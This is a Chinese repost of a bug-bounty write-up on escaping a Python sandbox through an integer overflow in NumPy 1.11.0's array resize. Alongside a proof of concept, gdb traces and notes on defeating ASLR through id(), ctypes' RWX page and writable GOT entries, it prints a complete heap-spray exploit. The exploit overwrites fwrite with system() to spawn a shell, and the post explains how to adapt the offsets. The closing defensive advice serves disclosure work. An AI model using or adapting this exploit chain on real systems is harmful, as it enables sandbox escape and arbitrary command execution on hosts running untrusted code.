利用內(nèi)存破壞實(shí)現(xiàn)Python沙盒逃逸-36大數(shù)據(jù)
幾周之前心癢難耐的我參與了一段時(shí)間的漏洞賞金計(jì)劃。業(yè)余這個(gè)漏洞賞金游戲最艱巨的任務(wù)就是挑選一個(gè)能夠獲得最高回報(bào)的程序。不久我就找到一個(gè)存在于Python沙盒中執(zhí)行的用戶提交代碼的Web應(yīng)用程序的bug,這看起來很有趣,所以我決定繼續(xù)研究它。
進(jìn)過一段時(shí)間的敲打之后,我發(fā)現(xiàn)了在Python層實(shí)現(xiàn)沙盒逃逸的方法。報(bào)告歸檔了,漏洞幾天內(nèi)及時(shí)被修復(fù),得到了一筆不錯(cuò)的賞金。完美!這是一個(gè)我的漏洞賞金征程的完美開端。但這篇博文不是關(guān)于這篇報(bào)告的??傊?,從技術(shù)的角度來說我發(fā)現(xiàn)這個(gè)漏洞的過程并不有趣。事實(shí)證明回歸總可能發(fā)生問題。
起初并不確信Python沙盒的安全性會做的如此簡單。沒有太多細(xì)節(jié),沙盒使用的是操作系統(tǒng)級別隔離與鎖定Python解釋器的組合。Python環(huán)境使用的是自定義的白名單/黑名單的方式來阻止對內(nèi)置模塊,函數(shù)的訪問?;诓僮飨到y(tǒng)的隔離提供了一些額外的保護(hù),但是它相較于今天的標(biāo)準(zhǔn)來說已經(jīng)過時(shí)了。從Python解釋器的逃離并不是一個(gè)完全的勝利,但是它能夠使攻擊者危險(xiǎn)地接近于黑掉整個(gè)系統(tǒng)。
因此我回到了應(yīng)用程序進(jìn)行了測試。沒有運(yùn)氣,這確實(shí)是一個(gè)困難的挑戰(zhàn)。但突然我有了一個(gè)想法——Python模塊通常只是大量C代碼的封裝。這里肯定會有未被發(fā)現(xiàn)的內(nèi)存破壞漏洞。領(lǐng)用內(nèi)存破壞我就能夠突破Python環(huán)境的限制。
從哪里開始呢?我知道沙盒內(nèi)部導(dǎo)入模塊的白名單。或許我該先運(yùn)行一個(gè)分布式的AFL?fuzzer?還是一個(gè)符號執(zhí)行引擎?抑或使用先進(jìn)的靜態(tài)分析工具來掃描他們。當(dāng)然,我可以做其中任何事情,可能我只需要查詢一些bug跟蹤器。
結(jié)果表明在狩獵之初我并沒有這個(gè)先見之明,但問題不大。直覺引導(dǎo)我通過手動代碼審計(jì)和測試發(fā)現(xiàn)一個(gè)沙盒白名單模塊中的一個(gè)可利用的內(nèi)存破壞漏洞。這個(gè)漏洞存在于Numpy中,一個(gè)基本的科學(xué)計(jì)算庫——是許多流行包的核心包括scipy和pandas。要想了解Numpy作為漏洞根源的一大潛力,我們先來查看一下代碼的行數(shù)。
在這篇文章的其余部分,首先我將描述導(dǎo)致這個(gè)漏洞的觸發(fā)條件。接下來,我將討論一些漏洞利用開發(fā)人員應(yīng)該了解的CPython運(yùn)行時(shí)的奇事,然后我將逐步進(jìn)入實(shí)際的利用。最后,我總結(jié)了一些Python應(yīng)用程序中量化內(nèi)存損壞問題的想法。
漏洞
我將要討論漏洞是Numpy v1.11.0(或許是更舊版本)中的整數(shù)溢出錯(cuò)誤。自v1.12.0以來,該問題已經(jīng)解決,但沒有發(fā)布安全公告。
該漏洞駐留在用于調(diào)整Numpy的多維數(shù)組類對象(ndarray和friends)的API中。定義數(shù)組形狀的元組調(diào)用了resize,其中元組的每個(gè)元素都是維度的大小。
$ python >>> import numpy as np >>> arr = np.ndarray((2, 2), ‘int32’) >>> arr.resize((2, 3)) >>> arr array([[-895628408, 32603, -895628408], [ 32603, 0, 0]], dtype=int32)
是的這個(gè)元組會泄漏未初始化的內(nèi)存,但在這篇博文中我們不會討論這個(gè)問題
如上所言,resize實(shí)質(zhì)上會realloc 一個(gè)buffer,其大小是元組形狀和元素大小的乘積。因此在前面的代碼片段中,arr.resize((2,3))等價(jià)于 realloc(buffer,2*3*sizeof(int32)).?下一個(gè)代碼片段是C中resize的重寫實(shí)現(xiàn)。
NPY_NO_EXPORT PyObject * PyArray_Resize(PyArrayObject *self, PyArray_Dims *newshape, int refcheck, NPY_ORDER order) { // npy_intp is `long long` npy_intp* new_dimensions = newshape->ptr; npy_intp newsize = 1; int new_nd = newshape->len; int k; // NPY_MAX_INTP is MAX_LONGLONG (0x7fffffffffffffff) npy_intp largest = NPY_MAX_INTP / PyArray_DESCR(self)->elsize; for(k = 0; k < new_nd; k++) { newsize *= new_dimensions[k]; if (newsize <= 0 || newsize > largest) { return PyErr_NoMemory(); } } if (newsize == 0) { sd = PyArray_DESCR(self)->elsize; } else { sd = newsize*PyArray_DESCR(self)->elsize; } /* Reallocate space if needed */ new_data = realloc(PyArray_DATA(self), sd); if (new_data == NULL) { PyErr_SetString(PyExc_MemoryError, “cannot allocate memory for array”); return NULL; } ((PyArrayObject_fields *)self)->data = new_data;
發(fā)現(xiàn)漏洞了嗎??可以在for循環(huán)(第13行)中看到,每個(gè)維度相乘以產(chǎn)生新的大小。稍后(第25行),將新大小和元素大小的乘積作為數(shù)組大小傳遞給realloc。在realloc之前有一些關(guān)于大小的驗(yàn)證,但是它不檢查整數(shù)溢出,這意味著非常大的維度可能導(dǎo)致分配大小不足的數(shù)組。 最終,這給攻擊者一個(gè)可利用的exploit類型:通過從具有溢出數(shù)組的大小索引來獲得讀寫任意內(nèi)存的能力。
讓我們來快速開發(fā)一個(gè)poc來驗(yàn)證bug的存在
$ cat poc.py import numpy as np arr = np.array('A'*0x100) arr.resize(0x1000, 0x100000000000001) print "bytes allocated for entire array: ???" + hex(arr.nbytes) print "max # of elemenets for inner array: ?" + hex(arr[0].size) print "size of each element in inner array: " + hex(arr[0].itemsize) arr[0][10000000000] $ python poc.py bytes allocated for entire array: ???0x100000 max # of elemenets for inner array: ?0x100000000000001 size of each element in inner array: 0x100 [1] ???2517 segmentation fault (core dumped) ?python poc.py $ gdb `which python` core ... Program terminated with signal SIGSEGV, Segmentation fault. (gdb) bt #0 0x00007f20a5b044f0 in PyArray_Scalar (data=0x8174ae95f010, descr=0x7f20a2fb5870, base=<numpy.ndarray at remote 0x7f20a7870a80>) at numpy/core/src/multiarray/scalarapi.c:651 #1 0x00007f20a5add45c in array_subscript (self=0x7f20a7870a80, op=<optimized out>) at numpy/core/src/multiarray/mapping.c:1619 #2 0x00000000004ca345 in PyEval_EvalFrameEx () at ../Python/ceval.c:1539… (gdb) x/i $pc => 0x7f20a5b044f0 <PyArray_Scalar+480>: cmpb $0x0,(%rcx) (gdb) x/g $rcx 0x8174ae95f10f: Cannot access memory at address 0x8174ae95f10f
? Cpython 運(yùn)行時(shí)的一些奇怪之處
在開發(fā)exp之前,我想討論一些CPython運(yùn)行時(shí)的特征來簡化exp的開發(fā),同時(shí)討論一些阻擾exp開發(fā)的方法。 如果您想直接進(jìn)入漏洞利用,請直接跳過本節(jié)。
內(nèi)存泄露
通常,首要障礙之一就是要挫敗地址空間布局隨機(jī)化(ASLR)。 幸運(yùn)的是,對于攻擊者來說,Python使這變得很容易。 內(nèi)置id函數(shù)返回對象的內(nèi)存地址,或者更準(zhǔn)確地說,封裝對象的PyObject結(jié)構(gòu)的地址。
$ gdb -q — arg /usr/bin/python2.7 (gdb) run -i … >>> a = ‘A’*0x100 >>> b = ‘B’*0x100000 >>> import numpy as np >>> c = np.ndarray((10, 10)) >>> hex(id(a)) ‘0x7ffff7f65848’ >>> hex(id(b)) ‘0xa52cd0’ >>> hex(id(c)) ‘0x7ffff7e777b0’
在現(xiàn)實(shí)世界的應(yīng)用程序中,開發(fā)人員應(yīng)確保不向用戶暴露id(object)。 在沙盒的環(huán)境中,你不可能對此行為做太多的擦奧做,除了可能將id添加進(jìn)黑名單或重新實(shí)現(xiàn)id來返回哈希。
理解內(nèi)存分配行為
了解分配器對于編寫exp至關(guān)重要。Python對不同的對象類型和大小實(shí)行不同的分配策略。我們來看看我們的大字符串0xa52cd0,小字符串0x7ffff7f65848和numpy數(shù)組0x7ffff7e777b0的位置。
$ cat /proc/`pgrep python`/maps 00400000–006ea000 r-xp 00000000 08:01 2712 /usr/bin/python2.7 008e9000–008eb000 r — p 002e9000 08:01 2712 /usr/bin/python2.7 008eb000–00962000 rw-p 002eb000 08:01 2712 /usr/bin/python2.7 00962000–00fa8000 rw-p 00000000 00:00 0 [heap] ?# big string ... 7ffff7e1d000–7ffff7edd000 rw-p 00000000 00:00 0 # numpy array ... 7ffff7f0e000–7ffff7fd3000 rw-p 00000000 00:00 0 # small string
Python 對象結(jié)構(gòu)
溢出和破壞Python對象的元數(shù)據(jù)是一個(gè)很強(qiáng)大的能力,因此理解Python對象如何是表示的很有用。Python對象都派生自PyObject,這是一個(gè)包含引用計(jì)數(shù)和對象實(shí)際類型描述符的結(jié)構(gòu)。 值得注意的是,類型描述符包含許多字段,包括可能對讀取或覆蓋有用的函數(shù)指針。
先檢查一下我們在前面創(chuàng)建的小字符串。
(gdb) print *(PyObject *)0x7ffff7f65848 $2 = {ob_refcnt = 1, ob_type = 0x9070a0 <PyString_Type>} (gdb) print *(PyStringObject *)0x7ffff7f65848 $3 = {ob_refcnt = 1, ob_type = 0x9070a0 <PyString_Type>, ob_size = 256, ob_shash = -1, ob_sstate = 0, ob_sval = “A”} (gdb) x/s ((PyStringObject *)0x7ffff7f65848)->ob_sval 0x7ffff7f6586c: ‘A’ <repeats 200 times>... (gdb) ptype PyString_Type type = struct _typeobject { Py_ssize_t ob_refcnt; struct _typeobject *ob_type; Py_ssize_t ob_size; const char *tp_name; Py_ssize_t tp_basicsize; Py_ssize_t tp_itemsize; destructor tp_dealloc; printfunc tp_print; getattrfunc tp_getattr; setattrfunc tp_setattr; cmpfunc tp_compare; reprfunc tp_repr; PyNumberMethods *tp_as_number; PySequenceMethods *tp_as_sequence; PyMappingMethods *tp_as_mapping; hashfunc tp_hash; ternaryfunc tp_call; reprfunc tp_str; getattrofunc tp_getattro; setattrofunc tp_setattro; PyBufferProcs *tp_as_buffer; long tp_flags; const char *tp_doc; traverseproc tp_traverse; inquiry tp_clear; richcmpfunc tp_richcompare; Py_ssize_t tp_weaklistoffset; getiterfunc tp_iter; iternextfunc tp_iternext; struct PyMethodDef *tp_methods; struct PyMemberDef *tp_members; struct PyGetSetDef *tp_getset; struct _typeobject *tp_base; PyObject *tp_dict; descrgetfunc tp_descr_get; descrsetfunc tp_descr_set; Py_ssize_t tp_dictoffset; initproc tp_init; allocfunc tp_alloc; newfunc tp_new; freefunc tp_free; inquiry tp_is_gc; PyObject *tp_bases; PyObject *tp_mro; PyObject *tp_cache; PyObject *tp_subclasses; PyObject *tp_weaklist; destructor tp_del; unsigned int tp_version_tag; }
有許多有用的字段可用于讀取或?qū)懭腩愋椭羔槪瘮?shù)指針,數(shù)據(jù)指針,大小等。
ctypes庫作為Python和C代碼之間的橋梁。它提供與C兼容的數(shù)據(jù)類型,并允許在DLL或共享庫中調(diào)用函數(shù)。許多具有C綁定或需要調(diào)用共享庫的模塊需要導(dǎo)入ctypes。
我注意到,導(dǎo)入ctypes會導(dǎo)致以讀/寫/執(zhí)行權(quán)限設(shè)置的4K大小的內(nèi)存區(qū)域。 如果還不明顯,這意味著攻擊者甚至不需要編寫一個(gè)ROP鏈。假定你已經(jīng)找到了RWX區(qū)域。利用一個(gè)bug就像把指針指向你的shellcode一樣簡單。
自己測試一下!
$ cat foo.py import ctypes while True: pass $ python foo.py ^Z [2] + 30567 suspended python foo.py $ grep rwx /proc/30567/maps 7fcb806d5000–7fcb806d6000 rwxp 00000000 00:00 0
進(jìn)一步調(diào)查發(fā)現(xiàn)libffi的封閉API負(fù)責(zé)mmap?RWX區(qū)域。 但是,該區(qū)域不能在某些平臺上分配RWX,例如啟用了selinux或PAX mprotect的系統(tǒng),但有一些代碼可以解決這個(gè)限制。
我沒有花太多時(shí)間嘗試可靠地RWX mapping,但是從理論上講,如果你有一個(gè)任意讀取的exploit原函數(shù),應(yīng)該是可能的。 當(dāng)ASLR應(yīng)用于庫時(shí),動態(tài)鏈接器以可預(yù)測的順序映射庫的內(nèi)存。庫的內(nèi)存包括庫私有的全局變量和代碼本身。 Libffi將對RWX內(nèi)存的引用存儲為全局。例如,如果在堆上找到指向libffi函數(shù)的指針,則可以將RWX區(qū)域指針的地址預(yù)先計(jì)算為與libffi函數(shù)指針的地址的偏移量。每個(gè)庫版本都需要調(diào)整偏移量。
我在Ubuntu 14.04.5和16.04.1上測試了Python2.7二進(jìn)制文件的安全相關(guān)編譯器標(biāo)志。 發(fā)現(xiàn)幾個(gè)弱點(diǎn),這對攻擊者來說是非常有用的:
部分RELRO:可執(zhí)行文件的GOT seciotn,包含動態(tài)鏈接到二進(jìn)制文件的庫函數(shù)的指針,是可寫的。 例如,exploits可以用system()替換printf()的地址。
沒有PIE:二進(jìn)制不是位置無關(guān)的可執(zhí)行文件,這意味著當(dāng)內(nèi)核將ASLR應(yīng)用于大多數(shù)內(nèi)存映射時(shí),二進(jìn)制本身的內(nèi)容被映射到靜態(tài)地址。 由于GOT seciotn是二進(jìn)制文件的一部分,因此PIE使攻擊者更容易找到并寫入GOT。
雖然CPython是一個(gè)充滿了漏洞開發(fā)工具的環(huán)境,但是有一些力量破壞了我的許多漏洞利用嘗試,并且難以調(diào)試。
垃圾收集器,類型系統(tǒng)以及可能的其他未知的力將破壞您的漏洞利用,如果您不小心克隆對象元數(shù)據(jù)。
id()可能不可靠。由于一些原因我無法確定,Python有時(shí)會在使用原始對象時(shí)傳遞對象的副本。
分配對象的區(qū)域有些不可預(yù)測。由于一些原因我無法確定,特定的編碼模式導(dǎo)致緩沖區(qū)被分配到brk堆中,而其他模式會在一個(gè)python指定的mmap’d堆中分配。
在發(fā)現(xiàn)numpy整數(shù)溢出后不久,我向提交了一個(gè)劫持指令指針的概念證明的報(bào)告,雖然沒有注入任何代碼。 當(dāng)我最初提交時(shí),我沒有意識到PoC實(shí)際上是不可靠的,并且我無法對其服務(wù)器進(jìn)行正確的測試,因?yàn)轵?yàn)證劫持指令指針需要訪問core?dump或debugger。 供應(yīng)商承認(rèn)這個(gè)問題的合法性,但是比起我的第一份報(bào)告,他們的給的回報(bào)比較少。
還算不賴
我不是一個(gè)漏洞利用開發(fā)者,但挑戰(zhàn)自己是我做得更好。?經(jīng)過多次試錯(cuò),我最終寫了一個(gè)似乎是可靠exp。 不幸的是,我無法在供應(yīng)商的沙盒中測試它,因?yàn)樵谕瓿芍案铝薾umpy,但是在Python解釋器中本地測試時(shí)它的工作正常。
在高層次來說上,漏洞利用溢出numpy數(shù)組的大小來獲得任意的讀/寫能力。 原函數(shù)用于將系統(tǒng)的地址寫入fwrite的GOT / PLT條目。 最后,Python內(nèi)置的print調(diào)用fwrite覆蓋,所以現(xiàn)在你可以調(diào)用print ‘/bin/sh’來獲取一個(gè)shell,或者用任何命令替換/ bin / sh。
我建議從自下而上開始閱讀,包括評論。 如果您使用的是不同版本的Python,請?jiān)谶\(yùn)行該文件之前調(diào)整fwrite和system的GOT位置。
import numpy as np # addr_to_str is a quick and dirty replacement for struct.pack(), needed # for sandbox environments that block the struct module. def addr_to_str(addr): addr_str = "%016x" % (addr) ret = str() for i in range(16, 0, -2): ret = ret + addr_str[i-2:i].decode('hex') return ret # read_address and write_address use overflown numpy arrays to search for # bytearray objects we've sprayed on the heap, represented as a PyByteArray # structure: # # struct PyByteArray { # ????Py_ssize_t ob_refcnt; # ????struct _typeobject *ob_type; # ????Py_ssize_t ob_size; # ????int ob_exports; # ????Py_ssize_t ob_alloc; # ????char *ob_bytes; # }; # # Once located, the pointer to actual data `ob_bytes` is overwritten with the # address that we want to read or write. We then cycle through the list of byte # arrays until we find the ?one that has been corrupted. This bytearray is used # to read or write the desired location. Finally, we clean up by setting # `ob_bytes` back to its original value. def find_address(addr, data=None): i = 0 j = -1 k = 0 if data: size = 0x102 else: size = 0x103 for k, arr in enumerate(arrays): i = 0 for i in range(0x2000): # 0x2000 is a value that happens to work # Here we search for the signature of a PyByteArray structure j = arr[0][i].find(addr_to_str(0x1)) ?????????????????# ob_refcnt if (j < 0 or arr[0][i][j+0x10:j+0x18] != addr_to_str(size) or ?# ob_size arr[0][i][j+0x20:j+0x28] != addr_to_str(size+1)): # ob_alloc continue idx_bytes = j+0x28 ???????????????????????????????????# ob_bytes # Save an unclobbered copy of the bytearray metadata saved_metadata = arrays[k][0][i] # Overwrite the ob_bytes pointer with the provded address addr_string = addr_to_str(addr) new_metadata = (saved_metadata[0:idx_bytes] + addr_string + saved_metadata[idx_bytes+8:]) arrays[k][0][i] = new_metadata ret = None for bytearray_ in bytearrays: try: # We differentiate the signature by size for each # find_address invocation because we don't want to # accidentally clobber the wrong ?bytearray structure. # We know we've hit the structure we're looking for if # the size matches and it contents do not equal 'XXXXXXXX' if len(bytearray_) == size and bytearray_[0:8] != 'XXXXXXXX': if data: bytearray_[0:8] = data # write memory else: ret = bytearray_[0:8] # read memory # restore the original PyByteArray->ob_bytes arrays[k][0][i] = saved_metadata return ret except: pass raise Exception("Failed to find address %x" % addr) def read_address(addr): return find_address(addr) def write_address(addr, data): find_address(addr, data) # The address of GOT/PLT entries for system() and fwrite() are hardcoded. These # addresses are static for a given Python binary when compiled without -fPIE. # You can obtain them yourself with the following command: # `readelf -a /path/to/python/ | grep -E '(system|fwrite)' SYSTEM = 0x8eb278 FWRITE = 0x8eb810 # Spray the heap with some bytearrays and overflown numpy arrays. arrays = [] bytearrays = [] for i in range(100): arrays.append(np.array('A'*0x100)) arrays[-1].resize(0x1000, 0x100000000000001) bytearrays.append(bytearray('X'*0x102)) bytearrays.append(bytearray('X'*0x103)) # Read the address of system() and write it to fwrite()'s PLT entry. data = read_address(SYSTEM) write_address(FWRITE, data) # print() will now call system() with whatever string you pass print "PS1='[HACKED] $ ' /bin/sh"
運(yùn)行此exp會返回給你一個(gè)shell
$ virtualenv .venv Running virtualenv with interpreter /usr/bin/python2 New python executable in /home/gabe/Downloads/numpy-exploit/.venv/bin/python2 Also creating executable in /home/gabe/Downloads/numpy-exploit/.venv/bin/python Installing setuptools, pkg_resources, pip, wheel...done. $ source .venv/bin/activate (.venv) $ pip install numpy==1.11.0 Collecting numpy==1.11.0 Using cached numpy-1.11.0-cp27-cp27mu-manylinux1_x86_64.whl Installing collected packages: numpy Successfully installed numpy-1.11.0 (.venv) $ python --version Python 2.7.12 (.venv) $ python numpy_exploit.py [HACKED] $
如果您不運(yùn)行Python 2.7.12,請參閱漏洞利用中的注釋,了解如何使其適用于您的Python版本。
眾所周知,Python的核心和許多第三方模塊都是C代碼的封裝。也許不被認(rèn)識到,內(nèi)存破壞在流行的Python模塊中一直沒有像CVE,安全公告,甚至在發(fā)行說明中提到安全修補(bǔ)程序一樣被報(bào)告。
是的,Python模塊中有很多內(nèi)存損壞的bug。 當(dāng)然不是所有的都是可以利用的,但你必須從某個(gè)地方開始。為了解釋內(nèi)存破壞造成的風(fēng)險(xiǎn),我發(fā)現(xiàn)使用兩個(gè)獨(dú)立的用例來描述對話很有用:常規(guī)Python應(yīng)用程序和沙盒不受信任的代碼。
正則表達(dá)式
我們關(guān)心的應(yīng)用程序類型是具有有意義的攻擊面的那些。考慮Web應(yīng)用程序和其他面向網(wǎng)絡(luò)的服務(wù),處理不受信任的內(nèi)容,系統(tǒng)特權(quán)服務(wù)等的客戶端應(yīng)用程序。許多這些應(yīng)用程序?qū)胗沙啥袰代碼便宜而來的Python模塊,且將其內(nèi)存破壞視為安全問題。這個(gè)純粹的想法可能會使一些安全專業(yè)人員夙夜難寐,但實(shí)際上風(fēng)險(xiǎn)通常被忽視或忽視。我懷疑有幾個(gè)原因:
遠(yuǎn)程識別和利用內(nèi)存破壞問題的難度相當(dāng)高,特別是對于閉源和遠(yuǎn)程應(yīng)用程序。
應(yīng)用程序暴露不可信輸入路徑以達(dá)到易受攻擊的功能的可能性可能相當(dāng)?shù)汀?/p>
意識不足,因?yàn)镻ython模塊中的內(nèi)存損壞錯(cuò)誤通常不會被視為安全問題。
公平地說,由于某些隨機(jī)Python模塊中的緩沖區(qū)溢出而導(dǎo)致入侵的可能性可能相當(dāng)?shù)?。但是,再次聲明,?nèi)存破壞的缺陷在發(fā)生時(shí)可能是非常有害的。有時(shí)它甚至不會讓任何人明確地利用他們來造成破壞。更糟糕的是,當(dāng)庫維護(hù)者在安全性方面不考慮內(nèi)存破壞問題時(shí),給庫打上安全補(bǔ)丁是不可能的。
如果您開發(fā)了一個(gè)主要的Python應(yīng)用程序,建議您至少使用流行的Python模塊。嘗試找出您的模塊依賴的C代碼數(shù)量,并分析本地代碼暴露于應(yīng)用程序邊緣的潛力。
沙盒
一些服務(wù)允許用戶在沙箱內(nèi)運(yùn)行不受信任的Python代碼。 操作系統(tǒng)級的沙盒功能,如linux命名空間和seccomp,最近才以Docker,LXC等形式流行起來。不行的是,今日仍然可以發(fā)現(xiàn)用戶使用較弱的沙盒技術(shù) – 在chroot形式的OS層更糟糕的是,沙盒可以完全在Python中完成(請參閱pypy-sandbox和pysandbox)。
內(nèi)存破壞完全打破了OS不執(zhí)行沙盒這一原則。 執(zhí)行Python代碼子集的能力使得開發(fā)遠(yuǎn)exp比常規(guī)應(yīng)用程序更加方便。即使是由于其虛擬化系統(tǒng)調(diào)用的雙進(jìn)程模型而聲稱安全的Pypy-sandbox也可能被緩沖區(qū)溢出所破壞。
如果您想運(yùn)行任何不受信任的代碼,請投入精力建立一個(gè)安全的操作系統(tǒng)和網(wǎng)絡(luò)架構(gòu)來沙盒執(zhí)行它。
End.
轉(zhuǎn)載請注明來自36大數(shù)據(jù)(36dsj.com): 36大數(shù)據(jù) ? 利用內(nèi)存破壞實(shí)現(xiàn)Python沙盒逃逸